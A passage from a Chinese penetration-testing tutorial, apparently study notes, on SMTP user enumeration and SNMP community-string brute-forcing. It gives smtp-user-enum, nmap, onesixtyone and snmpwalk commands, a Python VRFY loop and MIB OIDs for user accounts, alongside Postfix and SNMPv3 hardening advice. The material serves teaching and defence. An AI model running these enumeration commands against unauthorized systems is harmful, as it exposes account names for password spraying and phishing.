&lt;/h3&gt;&lt;h4 id="1-smtp-user-enum工具"&gt;&lt;strong&gt;1. smtp-user-enum工具&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 基本语法&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;smtp-user-enum -M &amp;lt;模式&amp;gt; -u &amp;lt;用户字典&amp;gt; -t &amp;lt;目标IP&amp;gt; &lt;span class="o"&gt;[&lt;/span&gt;选项&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 模式选择&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;-M VRFY &lt;span class="c1"&gt;# 使用VRFY命令（最常用）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;-M EXPN &lt;span class="c1"&gt;# 使用EXPN命令（需服务器支持）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;-M RCPT &lt;span class="c1"&gt;# 模拟邮件发送验证&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 实战示例&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;smtp-user-enum -M VRFY -u userlist.txt -t mail.example.com -p &lt;span class="m"&gt;5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;smtp-user-enum -M EXPN -D corporate.com -u employees.txt -t 10.10.1.50
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;关键参数&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-p&lt;/code&gt;：超时时间（秒）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-D&lt;/code&gt;：域名后缀（自动追加@domain.com）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-T&lt;/code&gt;：线程数（加速扫描）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-nmap扫描"&gt;&lt;strong&gt;2. Nmap扫描&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检测SMTP支持命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nmap -p25 --script smtp-commands 192.168.1.100
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 自动化用户枚举&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;nmap -p25 --script smtp-enum-users 192.168.1.100
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 指定字典路径（默认使用nselib/data/usernames.lst）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;nmap -p25 --script smtp-enum-users --script-args &lt;span class="nv"&gt;userdb&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;custom_users.txt 192.168.1.100
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="四安全风险与防护措施"&gt;&lt;strong&gt;四、安全风险与防护措施&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-攻击风险矩阵"&gt;&lt;strong&gt;1. 攻击风险矩阵&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;漏洞点&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;危害等级&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;利用场景&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;VRFY命令未禁用&lt;/td&gt;
 &lt;td style="text-align: center"&gt;⭐⭐⭐⭐⭐&lt;/td&gt;
 &lt;td style="text-align: center"&gt;直接获取有效用户列表&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;EXPN命令未禁用&lt;/td&gt;
 &lt;td style="text-align: center"&gt;⭐⭐⭐⭐&lt;/td&gt;
 &lt;td style="text-align: center"&gt;泄露邮件组和内部结构&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;RCPT TO无限制&lt;/td&gt;
 &lt;td style="text-align: center"&gt;⭐⭐⭐&lt;/td&gt;
 &lt;td style="text-align: center"&gt;隐蔽验证用户存在性&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;响应差异泄露&lt;/td&gt;
 &lt;td style="text-align: center"&gt;⭐⭐&lt;/td&gt;
 &lt;td style="text-align: center"&gt;通过响应时间/错误信息枚举&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="2-防御加固方案"&gt;&lt;strong&gt;2. 防御加固方案&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;服务端配置&lt;/strong&gt;（以Postfix为例）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 禁用VRFY和EXPN命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;disable_vrfy_command&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;smtpd_discard_ehlo_keywords&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; expn, vrfy
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 统一响应（所有请求返回相同信息）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;smtpd_reject_unlisted_recipient&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;unknown_local_recipient_reject_code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="m"&gt;550&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;访问控制&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;防火墙限制25端口访问源IP&lt;/li&gt;
&lt;li&gt;启用STARTTLS强制加密通信&lt;/li&gt;
&lt;li&gt;部署Fail2ban自动封禁扫描IP&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;监控与审计&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 实时监控SMTP日志（示例）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;tail -f /var/log/mail.log &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s1"&gt;&amp;#39;VRFY\|EXPN\|RCPT&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 配置告警规则（超过10次验证请求触发警报）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="五进阶攻击技术"&gt;&lt;strong&gt;五、进阶攻击技术&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;多级枚举&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Python自动化脚本示例&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;smtplib&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;admin&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;test&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;webmaster&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;smtp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;smtplib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SMTP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;mail.target.com&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vrfy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;[+] Valid user: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;except&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;pass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;组合攻击路径&lt;/strong&gt;：&lt;/p&gt;
&lt;pre class="mermaid" style="visibility:hidden"&gt;graph LR
A[SMTP枚举] --&gt; B[获取有效账户]
B --&gt; C{账户用途}
C --&gt; D[密码喷射攻击]
C --&gt; E[钓鱼邮件制作]
C --&gt; F[员工信息关联]&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="snmp枚举"&gt;SNMP枚举
&lt;/h2&gt;&lt;p&gt;多年来，我们发现许多网络管理员对简单网络管理协议（SNMP）理解不足，这常导致配置错误，造成严重信息泄露。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SNMP基于无状态UDP协议，易受IP欺骗和重放攻击&lt;/li&gt;
&lt;li&gt;常见版本（1/2/2c）无流量加密，敏感信息可在局域网被截获&lt;/li&gt;
&lt;li&gt;默认使用弱认证方案（如公开的团体字符串&amp;quot;public&amp;quot;/&amp;ldquo;private&amp;rdquo;）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;真实攻击案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;某次对网络集成公司的渗透测试中：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;扫描发现包含数千台思科路由器的B类网络（客户网关）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;一台低端ADSL路由器使用默认凭证&lt;code&gt;cisco/cisco&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;其配置文件泄露了复杂的SNMP读写团体字符串（所有设备共用）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;利用SNMP+TFTP脚本批量下载路由器配置：&lt;/p&gt;
&lt;p&gt;→ 同时攻破该公司及其所有客户的基础设施&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;SNMP MIB树结构&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;管理信息库（MIB）以树形数据库组织网络信息：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;分支：代表组织或网络功能&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;叶节点：存储具体变量值（可被外部访问）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;示例（Windows SNMP参数）：&lt;/p&gt;
&lt;p&gt;text&lt;/p&gt;
&lt;p&gt;复制&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;1.3.6.1.4.1.77.1.2.25 // 用户账户 
1.3.6.1.2.1.25.4.2.1.2 // 运行进程 
1.3.6.1.2.1.6.13.1.3 // 开放TCP端口 
1.3.6.1.2.1.25.6.3.1.2 // 已安装软件
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;扫描与枚举工具&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;NMAP扫描&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nmap -sU --open -p161 192.168.1.0/24 &lt;span class="c1"&gt;# 检测开放161/UDP端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;onesixtyone爆破团体字符串&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 创建IP列表(ips.txt)和团体字符串字典(communities.txt)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;onesixtyone -c communities.txt -i ips.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;snmpwalk枚举信息&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;snmpwalk -c public -v1 -t &lt;span class="m"&gt;10&lt;/span&gt; 10.11.1.14 &lt;span class="c1"&gt;# 遍历整个MIB树&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;snmpwalk -c public -v1 10.11.1.14 1.3.6.1.4.1.77.1.2.25 &lt;span class="c1"&gt;# 枚举用户&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;snmpwalk -c public -v1 10.11.1.73 1.3.6.1.2.1.25.4.2.1.2 &lt;span class="c1"&gt;# 枚举进程&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;snmp-check综合工具&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;snmp-check -c public -v &lt;span class="m"&gt;1&lt;/span&gt; 10.11.1.50
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;练习任务&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;用onesixtyone扫描目标网络识别SNMP服务器&lt;/li&gt;
&lt;li&gt;使用snmpwalk和snmp-check收集目标信息&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="核心知识点总结"&gt;&lt;strong&gt;核心知识点总结&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-协议风险"&gt;1. &lt;strong&gt;协议风险&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;漏洞类型&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;技术原因&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;后果&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;无加密通信&lt;/td&gt;
 &lt;td style="text-align: center"&gt;SNMPv1/2/2c明文传输&lt;/td&gt;
 &lt;td style="text-align: center"&gt;敏感信息被嗅探&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;弱认证机制&lt;/td&gt;
 &lt;td style="text-align: center"&gt;默认团体字符串(public/private)&lt;/td&gt;
 &lt;td style="text-align: center"&gt;未授权访问&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;配置错误&lt;/td&gt;
 &lt;td style="text-align: center"&gt;管理员忽视安全配置&lt;/td&gt;
 &lt;td style="text-align: center"&gt;网络拓扑/凭证大规模泄露&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="2-攻击向量"&gt;2. &lt;strong&gt;攻击向量&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;信息侦察&lt;/strong&gt;：通过MIB树提取系统/用户/网络信息&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;权限升级&lt;/strong&gt;：写入配置（需私有团体字符串）→ 完全控制设备&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;横向渗透&lt;/strong&gt;：攻陷集中管理节点 → 控制所有关联设备&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-关键工具链"&gt;3. &lt;strong&gt;关键工具链&lt;/strong&gt;
&lt;/h4&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;graph LR
A[扫描] --&gt; B(onesixtyone爆破团体字符串)
A --&gt; C(NMAP探测端口)
B --&gt; D[获取有效凭证]
D --&gt; E[snmpwalk枚举MIB数据]
D --&gt; F[snmp-check自动化收集]
E --&gt; G[提取用户/进程/端口信息]&lt;/pre&gt;&lt;h4 id="4-防御策略"&gt;4. &lt;strong&gt;防御策略&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;协议升级&lt;/strong&gt;：强制使用SNMPv3（支持AES加密+强认证）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;访问控制&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 仅允许可信IP访问（Cisco示例）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;snmp-server community ENCRYPTED-STRING RO &lt;span class="m"&gt;10&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;snmp-server permit 192.168.1.0 0.0.0.255
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;安全加固&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;禁用默认团体字符串&lt;/li&gt;
&lt;li&gt;限制MIB树访问权限&lt;/li&gt;
&lt;li&gt;配置防火墙过滤UDP/161端口&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="5-渗透测试要点"&gt;5. &lt;strong&gt;渗透测试要点&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;优先扫描目标&lt;/strong&gt;：路由器/交换机/打印机等网络设备&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;组合利用&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;SNMP泄露凭证 → 登录设备 → 获取更多敏感配置&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;自动化脚本&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;结合SNMP+TFTP实现批量化配置下载&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;💡 &lt;strong&gt;案例启示&lt;/strong&gt;：共享凭证配置的“便利性”可能造成供应链级灾难，需实施分布式密钥管理。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="附mib树关键分支速查表"&gt;&lt;strong&gt;附：MIB树关键分支速查表&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;OID节点&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;信息类型&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;1.3.6.1.2.1.1&lt;/td&gt;
 &lt;td style="text-align: center"&gt;系统基本信息&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;1.3.6.1.2.1.25.1.6&lt;/td&gt;
 &lt;td style="text-align: center"&gt;存储设备&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;1.3.6.1.2.1.6.13.1.3&lt;/td&gt;
 &lt;td style="text-align: center"&gt;开放TCP端口&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;1.3.6.1.2.1.25.4.2.1.2&lt;/td&gt;
 &lt;td style="text-align: center"&gt;运行进程列表&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;1.3.6.1.4.1.77.1.2.25&lt;/td&gt;
 &lt;td style="text-align: center"&gt;用户账户&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="注意snmp不是smtp"&gt;注意！SNMP不是SMTP
&lt;/h2&gt;&lt;p&gt;SMTP（Simple Mail Transfer Protocol）和SNMP（Simple Network Management Protocol）确实容易混淆，两者都是网络协议但&lt;strong&gt;功能、用途和技术实现完全不同&lt;/strong&gt;。以下是清晰对比：&lt;/p&gt;
